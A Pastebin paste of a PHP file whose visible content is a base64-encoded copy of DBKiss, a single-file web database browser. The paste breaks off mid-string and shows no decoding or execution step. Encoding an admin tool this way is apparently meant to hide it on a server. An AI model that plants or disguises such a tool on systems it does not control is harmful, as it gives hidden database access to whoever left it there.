N1nj2x

DBkiss[vX]

Aug 6th, 2017
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 196.90 KB | None | 0 0
  1. <?php
  2. $aa = "PD9waHANCi8qDQoJREJLaXNzIDEuMTYgKDIwMTQtMDEtMDQpDQoJQXV0aG9yOiBDemFyZWsgVG9tY3phayBbY3phcmVrLnRvbWN6YWtAQGdtYWlsLmNvbV0NCglXZWIgc2l0ZTogaHR0cDovL2NvZGUuZ29vZ2xlLmNvbS9wL2Ria2lzcy8NCglMaWNlbnNlOiBCU0QgcmV2aXNlZCAoZnJlZSBmb3IgYW55IHVzZSkNCiovDQoNCi8vIHpsaWIgY29uZmxpY3RzIHdpdGggb2JfZ3poYW5kbGVyLg0KaW5pX3NldCgnemxpYi5vdXRwdXRfY29tcHJlc3Npb24nLCAwKTsgLy8gY2FuIHdlIHNldCBpdCBkdXJpbmcgcnVuLXRpbWU/IG9yIHBocC5pbmkgb25seT8NCmluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCg0KaWYgKGluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIHsgLy8gY2hlY2sgaXQgdG8gYmUgc3VyZS4NCglvYl9zdGFydCgpOw0KfSBlbHNlIHsNCglvYl9zdGFydCgnb2JfZ3poYW5kbGVyJyk7DQp9DQoNCi8vIFNvbWUgb2YgdGhlIGZlYXR1cmVzIGluIHRoZSBTUUwgZWRpdG9yIHJlcXVpcmUgY3JlYXRpbmcgJ2Ria2lzc19zcWwnIGRpcmVjdG9yeSwNCi8vIHdoZXJlIGhpc3Rvcnkgb2YgcXVlcmllcyBhcmUga2VwdCBhbmQgb3RoZXIgZGF0YS4gSWYgdGhlIHNjcmlwdCBoYXMgcGVybWlzc2lvbg0KLy8gaXQgd2lsbCBjcmVhdGUgdGhhdCBkaXJlY3RvcnkgYXV0b21hdGljYWxseSwgb3RoZXJ3aXNlIHlvdSBuZWVkIHRvIGNyZWF0ZSB0aGF0DQovLyBkaXJlY3RvcnkgbWFudWFsbHkgYW5kIG1ha2UgaXQgd3JpdGFibGUuIFlvdSBjYW4gYWxzbyBzZXQgaXQgdG8gZW1wdHkgJycgc3RyaW5nLA0KLy8gYnV0IHNvbWUgb2YgdGhlIGZlYXR1cmVzIGluIHRoZSBzcWwgZWRpdG9yIHdpbGwgbm90IHdvcmsgKHRlbXBsYXRlcywgcGFnaW5hdGlvbikNCg0KaWYgKCFkZWZpbmVkKCdEQktJU1NfU1FMX0RJUicpKSB7DQoJZGVmaW5lKCdEQktJU1NfU1FMX0RJUicsICdkYmtpc3Nfc3FsJyk7DQp9DQoNCi8qDQoJQW4gZXhhbXBsZSBjb25maWd1cmF0aW9uIHNjcmlwdCB0aGF0IHdpbGwgYXV0b21hdGljYWxseSBjb25uZWN0IHRvIGxvY2FsaG9zdCBkYXRhYmFzZS4NCglUaGlzIGlzIHVzZWZ1bCBvbiBsb2NhbGhvc3QgaWYgeW91IGRvbid0IHdhbnQgdG8gc2VlIHRoZSAiQ29ubmVjdCIgc2NyZWVuLg0KDQoJbXlzcWxfbG9jYWwucGhwOg0KCS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KCWRlZmluZSgnQ09PS0lFX1BSRUZJWCcsIHN0cl9yZXBsYWNlKCcucGhwJywgJycsIGJhc2VuYW1lKF9fRklMRV9fKSkuJ18nKTsNCglkZWZpbmUoJ0RCS0lTU19TUUxfRElSJywgJ2Ria2lzc19teXNxbCcpOw0KDQoJJGNvb2tpZSA9IGFycmF5KA0KCQknZGJfZHJpdmVyJyA9PiAnbXlzcWwnLA0KCQknZGJfc2VydmVyJyA9PiAnbG9jYWxob3N0JywNCgkJJ2RiX25hbWUnID0+ICd0ZXN0JywNCgkJJ2RiX3VzZXInID0+ICdyb290JywNCgkJJ2RiX3Bhc3MnID0+ICd0b29yJywNCgkJJ2RiX2NoYXJzZXQnID0+ICdsYXRpbjInLA0KCQkncGFnZV9jaGFyc2V0JyA9PiAnaXNvLTg4NTktMicsDQoJCSdyZW1lbWJlcicgPT4gMQ0KCSk7DQoNCglmb3JlYWNoICgkY29va2llIGFzICRrID0+ICR2KSB7DQoJCWlmICgnZGJfcGFzcycgPT0gJGspIHsgJHYgPSBiYXNlNjRfZW5jb2RlKCR2KTsgfQ0KCQkkayA9IENPT0tJRV9QUkVGSVguJGs7DQoJCWlmICghaXNzZXQoJF9DT09LSUVbJGtdKSkgew0KCQkJJF9DT09LSUVbJGtdID0gJHY7DQoJCX0NCgl9DQoNCglyZXF1aXJlICcuL2Ria2lzcy5waHAnOw0KCS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KKi8NCg0KLyoNCglDaGFuZ2Vsb2c6DQoNCgkxLjE2DQoJKiBDb21wYXRpYmlsaXR5IGZpeGVzIGZvciBQSFAgNS41LjcNCgkqIFBlcm1hbmVudCBsaW5rcyBmb3Igc2F2ZWQgU1FMIHRlbXBsYXRlcywgdGhlIHVybCBpbiBicm93c2VyDQoJICBpbmNsdWRlcyB0ZW1wbGF0ZSBuYW1lIChJc3N1ZSAzKQ0KCSogQWZ0ZXIgY29ubmVjdGluZyB0byBkYXRhYmFzZSB5b3Ugd2lsbCBiZSByZWRpcmVjdGVkIHRvIHRoZQ0KCSAgdXJsIHlvdSBjYW1lIGZyb20NCgkxLjE1DQoJKiBGaXhlZCBQb3N0Z3Jlc3FsIDkgYnVnIG9uIExpbnV4LCBubyBkYXRhIHJvd3Mgd2VyZSBkaXNwbGF5ZWQNCglmb3IgU0VMRUNUIHF1ZXJpZXMgaW4gdGhlIFNRTCBlZGl0b3IgKElzc3VlIDUpLg0KCTEuMTQNCgkqIElJUyBzZXJ2ZXIgZml4ZXM6ICRfU0VSVkVSWydTRVJWRVJfQUREUiddIG1pc3NpbmcNCgkxLjEzDQoJKiBUYWJsZSBuYW1lcyBhbmQgY29sdW1uIG5hbWVzIG1heSBzdGFydCB3aXRoIG51bWVyaWMgdmFsdWVzIGV4LiBgNTItNjQ0YCBhcyB0YWJsZSBuYW1lIGlzIG5vdyBhbGxvd2VkLg0KCTEuMTINCgkqIEZpeGVkICJvcmRlciBieSIgYnVnIGluIHZpZXdzLg0KCTEuMTENCgkqIExpbmtzIGluIGRhdGEgb3V0cHV0IGFyZSBub3cgY2xpY2thYmxlLiBDbGlja2luZyB0aGVtIGRvZXMgbm90IHJldmVhbCB0aGUgbG9jYXRpb24gb2YgeW91ciBkYmtpc3Mgc2NyaXB0IHRvIGV4dGVybmFsIHNpdGVzLg0KCTEuMTANCgkqIFN1cHBvcnQgZm9yIHZpZXdzIGluIFBvc3RncmVzcWwgKG15c3FsIGhhZCBpdCBhbHJlYWR5KS4NCgkqIFZpZXdzIGFyZSBub3cgZGlzcGxheWVkIGluIGEgc2VwZXJhdGUgbGlzdGluZywgdG8gdGhlIHJpZ2h0IG9mIHRoZSB0YWJsZXMgb24gbWFpbiBwYWdlLg0KCSogU2VjdXJlIHJlZGlyZWN0aW9uIC0gbm8gcmVmZXJlciBoZWFkZXIgc2VudCAtIHdoZW4gY2xpY2tpbmcgZXh0ZXJuYWwgbGlua3MgKGV4LiBwb3dlcmVkIGJ5KSwgc28gdGhhdCB0aGUgbG9jYXRpb24gb2YgdGhlIGRia2lzcyBzY3JpcHQgb24geW91ciBzaXRlIGlzIG5vdCByZXZlYWxlZC4NCgkxLjA5DQoJKiBDU1YgZXhwb3J0IGluIHNxbCBlZGl0b3IgYW5kIHRhYmxlIHZpZXcgKGZlYXR1cmUgc3BvbnNvcmVkIGJ5IFBhdHJpY2sgTWNHb3Zlcm4pDQoJMS4wOA0KCSogZGF0ZS50aW1lem9uZSBFX1NUUklDVCBlcnJvciBmaXhlZA0KCTEuMDcNCgkqIG15c3FsIHRhYmxlcyB3aXRoIGRhc2ggaW4gdGhlIG5hbWUgZ2VuZXJhdGVkIGVycm9ycywgbm93IGFsbCB0YWJsZXMgaW4gbXlzcWwgZHJpdmVyIGFyZQ0KCQllbnF1b3RlZCB3aXRoIGJhY2t0aWNrLg0KCTEuMDYNCgkqIHBvc3RncmVzcWwgZml4DQoJMS4wNQ0KCSogZXhwb3J0IG9mIGFsbCBzdHJ1Y3R1cmUgYW5kIGRhdGEgZG9lcyB0YWtlIGludG8gYWNjb3VudCB0aGUgdGFibGUgbmFtZSBmaWx0ZXIgb24gdGhlIG1haW4gcGFnZSwNCgkJc28geW91IGNhbiBmaWx0ZXIgdGhlIHRhYmxlcyB0aGF0IHlvdSB3YW50IHRvIGV4cG9ydC4NCgkxLjA0DQoJKiBleHBvcnRpbmcgYWxsIHN0cnVjdHVyZS9kYXRhIGRpZG4ndCB3b3JrIChvYl9nemhhbmRsZXIgZmx1c2ggYnVnKQ0KCSogY29va2llcyBhcmUgbm93IHNldCB1c2luZyBodHRwb25seSBvcHRpb24NCgkqIHRleHQgZWRpdG9yIGNvbXBsYWluZWQgYWJvdXQgYmFkIGNyL2xmIGluIGV4cG9ydGVkIHNxbCBmaWxlcw0KCQkobXlzcWwgY3JlYXRlIHRhYmxlIHVzZXMgXG4sIHNvIGluc2VydCBxdWVyaWVzIG5lZWQgdG8gYmUgc2VwZXJhdGVkIGJ5IFxuIGFuZCBub3QgXHJcbikNCgkxLjAzDQoJKiByZS1jcmVhdGVkIGFycmF5X3dhbGtfcmVjdXJzaXZlIGZvciBwaHA0IGNvbXBhdGliaWxpdHkNCgkqIHJlbW92ZWQgc3RyaXBwaW5nIHNsYXNoZXMgZnJvbSBkaXNwbGF5ZWQgY29udGVudA0KCSogYWRkZWQgZmF2aWNvbiAodXNpbmcgYmFzZTY0X2VuY29kZSB0byBzdG9yZSB0aGUgaWNvbiBpbiBwaHAgY29kZSwgc28gaXQgaXMgc3RpbGwgb25lLWZpbGUgZGF0YWJhc2UgYnJvd3NlcikNCgkxLjAyDQoJKiB3b3JrcyB3aXRoIHNob3J0X29wZW5fdGFnIGRpc2FibGVkDQoJKiBjb2RlIG9wdGltaXphdGlvbnMvZml4ZXMNCgkqIHBvc3RncmVzcWwgZXJyb3IgZml4IGZvciBsYXJnZSB0YWJsZXMNCgkxLjAxDQoJKiBmaXggZm9yIG15c3FsIDMuMjMsIHdoaWNoIGRvZXNudCB1bmRlcnN0YW5kICJMSU1JVCB4IE9GRlNFVCB6Ig0KCTEuMDANCgkqIGJ1ZyBmaXhlcw0KCSogbWlub3IgZmVhdHVyZSBlbmhhbmNlbWVudHMNCgkqIHRoaXMgcmVsZWFzZSBpcyBzdGFibGUgYW5kIGNhbiBiZSB1c2VkIGluIHByb2R1Y3Rpb24gZW52aXJvbm1lbnQNCgkwLjYxDQoJKiB1cHBlciBjYXNpbmcga2V5d29yZHMgaW4gc3VibWl0dGVkIHNxbCBpcyBkaXNhYmxlZCAoaXQgYWxzbyBtb2RpZmllZCBxdW90ZWQgdmFsdWVzKQ0KCSogc3FsIGVycm9yIHdoZW4gZGlzcGxheWluZyB0YWJsZSB3aXRoIDAgcm93cw0KCSogY291bGQgbm90IGNvbm5lY3QgdG8gZGF0YWJhc2UgdGhhdCBoYWQgdXBwZXIgY2FzZSBjaGFyYWN0ZXJzDQoNCiovDQoNCi8vIHRvZG86IHBocCBlcnJvciBoYW5kbGVyIHdoaWNoIGNhbmNlbHMgYnVmZmVyIG91dHB1dCBhbmQgZXhpdHMgb24gZXJyb3INCi8vIHRvZG86IFhTUyBhbmQgQ1NSRiBwcm90ZWN0aW9uLg0KLy8gdG9kbzogY29ubmVjdCBzY3JlZW46IFt4XSBjcmVhdGUgZGF0YWJhc2UgKGlmIG5vdCBleGlzdHMpIFtjaGFyc2V0XQ0KLy8gdG9kbzogY29ubmVjdCBzY3JlZW46IGRhdGFiYXNlIChvcHRpb25hbCwgaWYgbm9uZSBwcm92aWRlZCB3aWxsIHNlbGVjdCB0aGUgZmlyc3QgZGF0YWJhc2UgdGhlIHVzZXIgaGFzIGFjY2VzcyB0bykNCi8vIHRvZG86IG15c3FsaSBkcml2ZXIgKGNoZWNrIGlmIG15c3FsIGV4dGVuc2lvbiBpcyBsb2FkZWQsIGlmIG5vdCB0cnkgdG8gdXNlIG15c3FsaSkNCi8vIHRvZG86IHN1cHBvcnQgZm9yIHRoZSBlbnVtIGZpZWxkIHR5cGUgd2hlbiBlZGl0aW5nIHJvdw0KLy8gdG9kbzogc2VhcmNoIHdob2xlIGRhdGFiYXNlIGZvcm0gc2hvdWxkIGFwcGVhciBhbHNvIG9uIG1haW4gcGFnZQ0KLy8gdG9kbzogaW1wcm92ZSBkZXRlY3RpbmcgcHJpbWFyeSBrZXlzIHdoZW4gZWRpdGluZyByb3cgKHF1ZXJ5aW5nIGluZm9ybWF0aW9uX3NjaGVtYSAsIGZvciBteXNxbCA+IDQpDQovLyB0b2RvOiB3aGVuIGRia2lzc19zcWwgZGlyIGlzIG1pc3NpbmcsIGRpc3BsYXkgYSBtZXNzYWdlIGluIHNxbCBlZGl0b3IgdGhhdCBzb21lIGZlYXR1cmVzIHdvbid0IHdvcmsgKHRlbXBsYXRlcywgcGFnaW5hdGlvbikgY3VycmVudGx5IGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byBjcmVhdGUgdGhhdCBkaXIgYW5kIEVYSVQsIGJ1dCBzaG91bGQgYWxsb3cgYmFzaWMgb3BlcmF0aW9ucw0KLy8gdG9kbzogIkluc2VydCIgb24gdGFibGUgdmlldyBwYWdlDQovLyB0b2RvOiBlZGl0IHRhYmxlIHN0cnVjdHVyZQ0KDQplcnJvcl9yZXBvcnRpbmcoRV9BTEwgJiB+RV9TVFJJQ1QgJiB+RV9ERVBSRUNBVEVEKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgdHJ1ZSk7DQppZiAoIWluaV9nZXQoJ2RhdGUudGltZXpvbmUnKSkgew0KCWluaV9zZXQoJ2RhdGUudGltZXpvbmUnLCAnRXVyb3BlL1dhcnNhdycpOw0KfQ0KDQovLyBGaXggSUlTIG1pc3NpbmcgdmFyaWFibGVzIGluICRfU0VSVkVSOg0KaWYgKCFpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsNCgkkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA9ICRfU0VSVkVSWydQSFBfU0VMRiddOw0KCWlmIChpc3NldCgkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pKSB7DQoJCSRfU0VSVkVSWydSRVFVRVNUX1VSSSddIC49ICc/JyAuICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCgl9DQp9DQppZiAoIWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQUREUiddKSkgew0KCWlmIChpc3NldCgkX1NFUlZFUlsnTE9DQUxfQUREUiddKSkgew0KCQkkX1NFUlZFUlsnU0VSVkVSX0FERFInXSA9ICRfU0VSVkVSWydMT0NBTF9BRERSJ107DQoJfSBlbHNlIHsNCgkJJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10gPSAndW5rbm93bic7DQoJfQ0KfQ0KDQpzZXRfZXJyb3JfaGFuZGxlcignZXJyb3JIYW5kbGVyJyk7DQpyZWdpc3Rlcl9zaHV0ZG93bl9mdW5jdGlvbignZXJyb3JIYW5kbGVyX2xhc3QnKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMSk7DQpnbG9iYWwgJEdsb2JhbF9MYXN0RXJyb3I7DQoNCmZ1bmN0aW9uIGVycm9ySGFuZGxlcl9sYXN0KCkNCnsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCJlcnJvcl9nZXRfbGFzdCIpKSB7DQoJCSRlcnJvciA9IGVycm9yX2dldF9sYXN0KCk7DQoJCWlmICgkZXJyb3IpIHsNCgkJCWVycm9ySGFuZGxlcigkZXJyb3JbJ3R5cGUnXSwgJGVycm9yWydtZXNzYWdlJ10sICRlcnJvclsnZmlsZSddLCAkZXJyb3JbJ2xpbmUnXSk7DQoJCX0NCgl9DQp9DQpmdW5jdGlvbiBlcnJvckhhbmRsZXIoJGVycm5vLCAkZXJyc3RyLCAkZXJyZmlsZSwgJGVycmxpbmUpDQp7DQoJZ2xvYmFsICRHbG9iYWxfTGFzdEVycm9yOw0KCSRHbG9iYWxfTGFzdEVycm9yID0gJGVycnN0cjsNCg0KCS8vIENoZWNrIHdpdGggZXJyb3JfcmVwb3J0aW5nLCBpZiBzdGF0ZW1lbnQgaXMgcHJlY2VkZWQgd2l0aCBAIHdlIGhhdmUgdG8gaWdub3JlIGl0Lg0KCWlmICghKCRlcnJubyAmIGVycm9yX3JlcG9ydGluZygpKSkgew0KCQlyZXR1cm47DQoJfQ0KDQoJLy8gSGVhZGVycy4NCglpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQoJCWhlYWRlcignSFRUUC8xLjAgNTAzIFNlcnZpY2UgVW5hdmFpbGFibGUnKTsNCgkJd2hpbGUgKG9iX2dldF9sZXZlbCgpKSB7IG9iX2VuZF9jbGVhbigpOyB9IC8vIFRoaXMgd2lsbCBjYW5jZWwgb2JfZ3poYW5kbGVyLCBzbyBsYXRlciB3ZSBzZXQgQ29udGVudC1lbmNvZGluZyB0byBub25lLg0KCQloZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTsgLy8gRml4IGd6aXAgZW5jb2RpbmcgaGVhZGVyLg0KCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7DQoJCWhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCgkJaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiIC4gZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpIC4gIiBHTVQiKTsNCgkJaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSIpOw0KCQloZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiLCBmYWxzZSk7DQoJCWhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KCX0NCg0KCS8vIEVycm9yIHNob3J0IG1lc3NhZ2UuDQoJJGVycmZpbGUgPSBiYXNlbmFtZSgkZXJyZmlsZSk7DQoNCgkkbXNnID0gc3ByaW50ZignJXM8YnI+SW4gJXMgb24gbGluZSAlZC4nLCBubDJicigkZXJyc3RyKSwgJGVycmZpbGUsICRlcnJsaW5lKTsNCg0KCS8vIERpc3BsYXkgZXJyb3IuDQoNCglwcmludGYoIjwhZG9jdHlwZSBodG1sPjxodG1sPjxoZWFkPjxtZXRhIGNoYXJzZXQ9dXRmLTg+PHRpdGxlPlBIUCBFcnJvcjwvdGl0bGU+Iik7DQoJcHJpbnRmKCI8bWV0YSBuYW1lPVwicm9ib3RzXCIgY29udGVudD1cIm5vaW5kZXgsbm9mb2xsb3dcIj4iKTsNCglwcmludGYoIjxsaW5rIHJlbD1cInNob3J0Y3V0IGljb25cIiBocmVmPVwieyRfU0VSVkVSWydQSFBfU0VMRiddfT9kYmtpc3NfZmF2aWNvbj0xXCI+Iik7DQoJcHJpbnRmKCI8c3R5bGUgdHlwZT10ZXh0L2Nzcz4iKTsNCglwcmludGYoImJvZHkgeyBmb250OiAxMnB4IEFyaWFsLCBTYW5zLXNlcmlmOyBsaW5lLWhlaWdodDogMTdweDsgcGFkZGluZzogMGVtOyBtYXJnaW46IDJlbSAzZW07IH0iKTsNCglwcmludGYoImgxIHsgZm9udDogYm9sZCAxOHB4IFRhaG9tYTsgYm9yZGVyLWJvdHRvbTogcmdiKDE3NSwgNTAsIDApIDFweCBzb2xpZDsgbWFyZ2luLWJvdHRvbTogMC44NWVtOyBwYWRkaW5nLWJvdHRvbTogMC4yNWVtOyBjb2xvcjogcmdiKDIwMCwgNTAsIDApOyB0ZXh0LXNoYWRvdzogMXB4IDFweCAxcHggI2ZmZjsgfSIpOw0KCXByaW50KCJoMiB7IGZvbnQ6IGJvbGQgMTVweCBUYWhvbWE7IG1hcmdpbi10b3A6IDFlbTsgY29sb3I6ICMwMDA7IHRleHQtc2hhZG93OiAxcHggMXB4IDFweCAjZmZmOyB9Iik7DQoJcHJpbnRmKCI8L3N0eWxlPjwvaGVhZD48Ym9keT4iKTsNCg0KCXByaW50ZigiPGgxPlBIUCBFcnJvcjwvaDE+Iik7DQoJcHJpbnRmKCRtc2cpOw0KDQoJaWYgKCIxMjcuMC4wLjEiID09ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdICYmICIxMjcuMC4wLjEiID09ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdKQ0KCXsNCgkJLy8gU2hvd2luZyBiYWNrdHJhY2Ugb25seSBvbiBsb2NhbGhvc3QsIGNhdXNlIGl0IHNob3dzIGZ1bGwgYXJndW1lbnRzIHBhc3NlZCB0byBmdW5jdGlvbnMsDQoJCS8vIHRoYXQgd291bGQgYmUgYSBzZWN1cml0eSBob2xlIHRvIGRpc3BsYXkgc3VjaCBkYXRhLCBjYXVzZSBpdCBjb3VsZCBjb250YWluIHNvbWUgc2Vuc2l0aXZlDQoJCS8vIGRhdGEgZmV0Y2hlZCBmcm9tIHRhYmxlcyBvciBjb3VsZCBldmVuIGNvbnRhaW4gYSBkYXRhYmFzZSBjb25uZWN0aW9uIHVzZXIgYW5kIHBhc3N3b3JkLg0KDQoJCXByaW50ZigiPGgyPkJhY2t0cmFjZTwvaDI+Iik7DQoJCW9iX3N0YXJ0KCk7DQoJCWRlYnVnX3ByaW50X2JhY2t0cmFjZSgpOw0KCQkkdHJhY2UgPSBvYl9nZXRfY2xlYW4oKTsNCgkJJHRyYWNlID0gcHJlZ19yZXBsYWNlKCIvXiMwW1xzXFNdKz9cbiMxLyIsICIjMSIsICR0cmFjZSk7IC8vIFJlbW92ZSBjYWxsIHRvIGVycm9ySGFuZGxlcigpIGZyb20gdHJhY2UuDQoJCSR0cmFjZSA9IHRyaW0oJHRyYWNlKTsNCgkJcHJpbnQgbmwyYnIoJHRyYWNlKTsNCgl9DQoNCglwcmludGYoIjwvYm9keT48L2h0bWw+Iik7DQoNCgkvLyBMb2cgZXJyb3IgdG8gZmlsZS4NCglpZiAoIjEyNy4wLjAuMSIgPT0gJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gJiYgIjEyNy4wLjAuMSIgPT0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pIHsNCgkJZXJyb3JfbG9nKCRtc2cpOw0KCX0NCg0KCS8vIEVtYWlsIGVycm9yLg0KDQoJZXhpdCgpOw0KfQ0KDQovLyBZb3UgY2FuIGFjY2VzcyB0aGlzIGZ1bmN0aW9uIG9ubHkgb24gbG9jYWxob3N0Lg0KDQppZiAoIjEyNy4wLjAuMSIgPT0gJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gJiYgIjEyNy4wLjAuMSIgPT0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pDQp7DQoJZnVuY3Rpb24gZHVtcCgkZGF0YSkNCgl7DQoJCS8vIEBkdW1wDQoNCgkJaWYgKCFoZWFkZXJzX3NlbnQoKSkgew0KCQkJaGVhZGVyKCdIVFRQLzEuMCA1MDMgU2VydmljZSBVbmF2YWlsYWJsZScpOw0KCQkJd2hpbGUgKG9iX2dldF9sZXZlbCgpKSB7IG9iX2VuZF9jbGVhbigpOyB9IC8vIFRoaXMgd2lsbCBjYW5jZWwgb2JfZ3poYW5kbGVyLCBzbyBsYXRlciB3ZSBzZXQgQ29udGVudC1lbmNvZGluZyB0byBub25lLg0KCQkJaGVhZGVyKCdDb250ZW50LWVuY29kaW5nOiBub25lJyk7IC8vIEZpeCBnemlwIGVuY29kaW5nIGhlYWRlci4NCgkJCWhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L2h0bWwiKTsNCgkJCWhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCgkJCWhlYWRlcigiTGFzdC1Nb2RpZmllZDogIiAuIGdtZGF0ZSgiRCwgZCBNIFkgSDppOnMiKSAuICIgR01UIik7DQoJCQloZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7DQoJCQloZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiLCBmYWxzZSk7DQoJCQloZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCgkJfQ0KDQoJCWlmIChmdW5jX251bV9hcmdzKCkgPiAxKSB7ICRkYXRhID0gZnVuY19nZXRfYXJncygpOyB9DQoNCgkJaWYgKCRkYXRhICYmIGNvdW50KCRkYXRhKSA9PSAyICYmIGlzc2V0KCRkYXRhWzFdKSAmJiAid2luZG93cy0xMjUwIiA9PSBzdHJ0b2xvd2VyKCRkYXRhWzFdKSkgew0KCQkJJGNoYXJzZXQgPSAid2luZG93cy0xMjUwIjsNCgkJCSRkYXRhID0gJGRhdGFbMF07DQoJCX0gZWxzZSBpZiAoJGRhdGEgJiYgY291bnQoJGRhdGEpID09IDIgJiYgaXNzZXQoJGRhdGFbMV0pICYmICJpc28tODg1OS0yIiA9PSBzdHJ0b2xvd2VyKCRkYXRhWzFdKSkgew0KCQkJJGNoYXJzZXQgPSAiaXNvLTg4NTktMiI7DQoJCQkkZGF0YSA9ICRkYXRhWzBdOw0KCQl9IGVsc2Ugew0KCQkJJGNoYXJzZXQgPSAidXRmLTgiOw0KCQl9DQoNCgkJcHJpbnRmKCc8IWRvY3R5cGUgaHRtbD48aGVhZD48bWV0YSBjaGFyc2V0PScuJGNoYXJzZXQuJz48dGl0bGU+ZHVtcCgpPC90aXRsZT48L2hlYWQ+PGJvZHk+Jyk7DQoJCXByaW50ZignPGgxIHN0eWxlPSJjb2xvcjogcmdiKDE1MCwxNSwyMjUpOyI+ZHVtcCgpPC9oMT4nKTsNCgkJb2Jfc3RhcnQoKTsNCgkJcHJpbnRfcigkZGF0YSk7DQoJCSRodG1sID0gb2JfZ2V0X2NsZWFuKCk7DQoJCSRodG1sID0gaHRtbHNwZWNpYWxjaGFycygkaHRtbCk7DQoJCXByaW50ZignPHByZT4lczwvcHJlPicsICRodG1sKTsNCgkJcHJpbnRmKCc8L2JvZHk+PC9odG1sPicpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KDQppZiAoaXNzZXQoJF9HRVRbJ2Ria2lzc19mYXZpY29uJ10pKSB7DQoJJGZhdmljb24gPSAnQUFBQkFBSUFFQkFBQUFFQUNBQm9CUUFBSmdBQUFCQVFBQUFCQUNBQWFBUUFBSTRGQUFBb0FBQUFFQUFBQUNBQUFBQUJBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVAvLy93RFFjUklBQUdhWkFMNW1Dd0NaLy84QXYyNFNBTVZ3RWdDYS8vOEF2bWNMQUtuLy93QVYwLzhBd2YvL0FFckw1UURHY0JJQXZuRVNBSENweGdEZjdQSUEzN2FJQU1OcERRREhjUklBWk83L0FFcmwvd0Fkck5ZQVlNYlpBSS8xK1FEb3VZa0FPK0QvQUlUNC93REhjQklBalByL0FNSnZFZ0RhLy84QVFJeXpBTU52RWdDZnhka0E4di8vQUV6bC93QjQ2ZlFBTUxiWkFDbXMxZ0FBZWFZQUdvdTFBSmZYNmdBWW84NEFIckxiQU4remhnQ1h4dGtBdi9QNUFJMzArQUR2OWZrQUZIMnBBQmphL3dER2F3NEF3WEFTQUFWd29RRGp1SWtBelhBUkFEQ215UUFBZTY0QWRlMzVBTUJ4RWdDK2FRMEFBS25HQUNudy93QW5ncXdBeFc4UkFCQndud0FBZzZ3QXhXNFFBTDd3OXdDRzdQSUFIS25TQU1Gc0R3Qy9ad3dBRG5Xa0FBU1F3Z0FkMXY4QWo3elNBTVp2RVFEditmd0FCWFNtQUJaK3FnQUM2ZklBQUcraUFNaHNEd0Fjei9rQXZtc09BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB